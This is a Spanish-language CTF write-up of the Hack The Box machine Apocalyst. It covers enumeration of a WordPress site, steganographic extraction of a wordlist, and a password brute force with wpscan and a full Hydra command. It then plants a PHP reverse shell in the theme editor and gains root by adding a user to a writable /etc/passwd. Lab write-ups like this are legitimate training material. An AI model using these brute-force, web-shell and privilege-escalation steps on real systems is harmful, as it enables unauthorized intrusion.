Saltar al contenido

HackTheBox – Apocalyst – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina Apocalyst de Hack the Box. Es una máquina Linux de nivel medio donde se trabaja, principalmente, la enumeración y el filtrado de información.

Enumeración

Comienzo escaneando todos los puertos abiertos.

nmap -p- --open -n -T5 10.10.10.46

En la máquina hay dos puertos abiertos. Escaneo los dos puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p22,80 -sV -sC 10.10.10.46
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-05 17:13 CET
Nmap scan report for 10.10.10.46
Host is up (0.12s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fd:ab:0f:c9:22:d5:f4:8f:7a:0a:29:11:b4:04:da:c9 (RSA)
|   256 76:92:39:0a:57:bd:f0:03:26:78:c7:db:1a:66:a5:bc (ECDSA)
|_  256 12:12:cf:f1:7f:be:43:1f:d5:e6:6d:90:84:25:c8:bd (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: WordPress 4.8
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apocalypse Preparation Blog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.89 seconds

nmap -p80 --script http-enum 10.10.10.46
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-05 17:20 CET
Nmap scan report for 10.10.10.46
Host is up (0.12s latency).

Http – Puerto 80

Ya he descubierto que se trata del CMS de WordPress, en su versión 4.8. Entro en la web pero no obtengo nada.

Inspecciono el código fuente de la web y encuentro que las trazas hacen referencia a la url apocalyst.htb.

Seguramente la web está levantada sobre un hosting virtual. Introduzco la IP y el dominio en el fichero /etc/hosts y accedo a ella mediante el dominio.

Como no encuentro nada relevante, busco directorios ocultos con nmap.

nmap -p80 --script http-enum 10.10.10.46
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-05 17:20 CET
Nmap scan report for 10.10.10.46
Host is up (0.12s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|   /blog/: Blog
|   /wp-login.php: Possible admin folder
|   /readme.html: WordPress version: 2 
|   /: WordPress version: 4.8
|   /wp-includes/images/rss.png: WordPress version 2.2 found.
|   /wp-includes/js/jquery/suggest.js: WordPress version 2.5 found.
|   /wp-includes/images/blank.gif: WordPress version 2.6 found.
|   /wp-includes/js/comment-reply.js: WordPress version 2.7 found.
|   /wp-login.php: WordPress login page.
|   /wp-admin/upgrade.php: WordPress login page.
|   /readme.html: Interesting, a readme.
|   /custom/: Potentially interesting folder
|   /down/: Potentially interesting folder
|   /good/: Potentially interesting folder
|   /hidden/: Potentially interesting folder
|   /idea/: Potentially interesting folder
|   /info/: Potentially interesting folder
|   /information/: Potentially interesting folder
|   /name/: Potentially interesting folder
|   /page/: Potentially interesting folder
|   /personal/: Potentially interesting folder
|   /pictures/: Potentially interesting folder
|   /site/: Potentially interesting folder
|_  /state/: Potentially interesting folder

Nmap done: 1 IP address (1 host up) scanned in 12.99 seconds

Pero en todos los directorios encuentro la misma imagen.

Explotación

Hago una búsqueda mas profunda de directorios ocultos con wfuzz, ocultando aquellos que dan error 404.

wfuzz -c --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://apocalyst.htb/FUZZ/

Pero también me aparecen muchos y todos ellos son una redirección 301. Como la web tiene varios posts escritos, se me ocurre que en alguno de ellos puede aparecer un el nombre de un directorio oculto interesante así que creo un diccionario con todas las palabras de la web.

cewl http://apocalyst.htb/ --with-numbers -w apocalystdicc.txt

Utilizo nuevamente wfuzz para la búsqueda con el diccionario que he generado y esta vez obtengo códigos 200 en todos los directorios.

wfuzz -c --hc=404 -w apocalystdicc.txt http://apocalyst.htb/FUZZ/

Me llama la atención que, al parecer, todos los directorios tienen el mismo tamaño (157 caracteres). Vuelvo a hacer una búsqueda con wfuzz pero esta vez también oculto los directorios con 157 caracteres de tamaño.

wfuzz -c --hc=404 --hh=157 -w apocalystdicc.txt http://apocalyst.htb/FUZZ/

Obtengo que el directorio Rightiousness tiene un tamaño distinto a los demás. Entro en el directorio y veo la misma imagen que en los otros.

Al ser la misma imagen pero ser la única con un tamaño distinto me hace pensar que puede ocultar algo dentro de ella. Descargo la imagen y la analizo con steghide y encuentro una lista de palabras.

steghide info imagen.jpg
steghide extract -sf imagen.jpg
ls -la list.txt

Vuelvo con WordPress y enumero, con wpscan, los themas y los plugins vulnerables y los usuarios que hay en el CMS. Encuentro el usuario falaraki.

wpscan --url http://apocalyst.htb/ --enumerate vt --enumerate vp --enumerate u 
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.17
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://apocalyst.htb/ [10.10.10.46]
[+] Started: Fri Nov  5 17:37:53 2021

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://apocalyst.htb/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://apocalyst.htb/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://apocalyst.htb/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://apocalyst.htb/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.8 identified (Insecure, released on 2017-06-08).
 | Found By: Rss Generator (Passive Detection)
 |  - http://apocalyst.htb/?feed=rss2, <generator>https://wordpress.org/?v=4.8</generator>
 |  - http://apocalyst.htb/?feed=comments-rss2, <generator>https://wordpress.org/?v=4.8</generator>

[+] WordPress theme in use: twentyseventeen
 | Location: http://apocalyst.htb/wp-content/themes/twentyseventeen/
 | Last Updated: 2021-07-22T00:00:00.000Z
 | Readme: http://apocalyst.htb/wp-content/themes/twentyseventeen/README.txt
 | [!] The version is out of date, the latest version is 2.8
 | Style URL: http://apocalyst.htb/wp-content/themes/twentyseventeen/style.css?ver=4.8
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.3 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://apocalyst.htb/wp-content/themes/twentyseventeen/style.css?ver=4.8, Match: 'Version: 1.3'

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <===================================================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] falaraki
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Fri Nov  5 17:37:56 2021
[+] Requests Done: 13
[+] Cached Requests: 53
[+] Data Sent: 3.358 KB
[+] Data Received: 7.597 KB
[+] Memory used: 183.934 MB
[+] Elapsed time: 00:00:02

Me dirijo a la pantalla de autenticación de WordPress y utilizo el usuario que he encontrado y una contraseña al azar.

Como se ve en la imagen anterior, me dice que la contraseña no es válida para ese usuario así que entiendo que existe el usuario faralaki. Hago un ataque por fuerza bruta, con wpscan, con el usuario faralaki y la lista que he encontrado dentro de la imagen y encuentro las credenciales faralaki:Transclisiation.

wpscan --url http://apocalyst.htb/ -U falaraki -P list.txt

Me autentico en WordPress con las credenciales obtenidas.

Hydra

También existe la posibilidad de obtener las credenciales con Hydra. Solo necesito capturar el log de una autenticación erronea(con Burp Suite por ejemplo).

hydra -l falaraki -P list.txt apocalyst.htb http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fapocalyst.htb%2Fwp-admin%2F&testcookie=1:is incorrect"

El comando tiene los siguientes campos (separados por «:» ):

1. Fichero de autenticación «/wp-login.php».

2. Log sustituyendo el usuarios y contraseña por «^USER^» y «^PASS^» respectivamente.

3. El mensaje de error generado cuando la contraseña es incorrecta «is incorrect»

Una vez dentro del CMS, me dirijo al editor y, dentro de este, al fichero 404.php.

Cojo el fichero de shell reversa en php que hay en kali /usr/share/webshells/php/php-reverse-shell.php, le cambio la IP y el puerto y lo pego en en sustitución del código de 404.php.

Pongo un netcat a la escucha y abro el fichero 404.php con el navegador, consiguiendo una shell reversa.

http://apocalyst.htb/?p=404.php

Me dirijo al directorio /home/falaraki y encuentro la flag de usuario en el fichero user.txt.

Escalada de Privilegios

Enumero los ficheros que puedo editar con mis privilegios actuales y veo que tengo permisos de escritura sobre el fichero /etc/passwd.

La imagen pertenece a una salida de Linux Smart Enumeration.

Poder escribir sobre este fichero significa que puedo crear mi propio usuario con privilegios de root (o cambiar la contraseña del actual). Codifico la contraseña evil con openssl de forma que el sistema la interprete como válida, creo el usuario, con privilegios de root, evilroot y elevo privilegios.

openssl passwd evil

Me dirijo al directorio raíz de root y encuentro su flag en el fichero root.txt.

Anexo: falaraki

Por lo general para elevar hasta root, en una máquina de este nivel, suele ser necesario pasar primero por uno de los usuarios logeables en lugar de hacerlo directamente desde un usuario del sistema. Seguramente, el camino intencionado de esta máquina sería acceder como www-data, elevar a falaraki y volver a elevar hasta root pero, aunque no ha sido necesario, existe el camino igualmente.

Una vez he accedido a la máquina como usuario www-data, enumero los ficheros ocultos del directorio /home/falaraki y encuentro un fichero llamado .secret. Al leerlo encuentro un string que identifico como codificado en base64 (por el «=» del final).

Descodifico el código y encuentro una contraseña.

Y me conecto a la máquina victima por ssh, con el usuario falaraki, con la contraseña que acabo de encontrar.

Publicado enCTFEsteganografíaHTBLinuxOSCP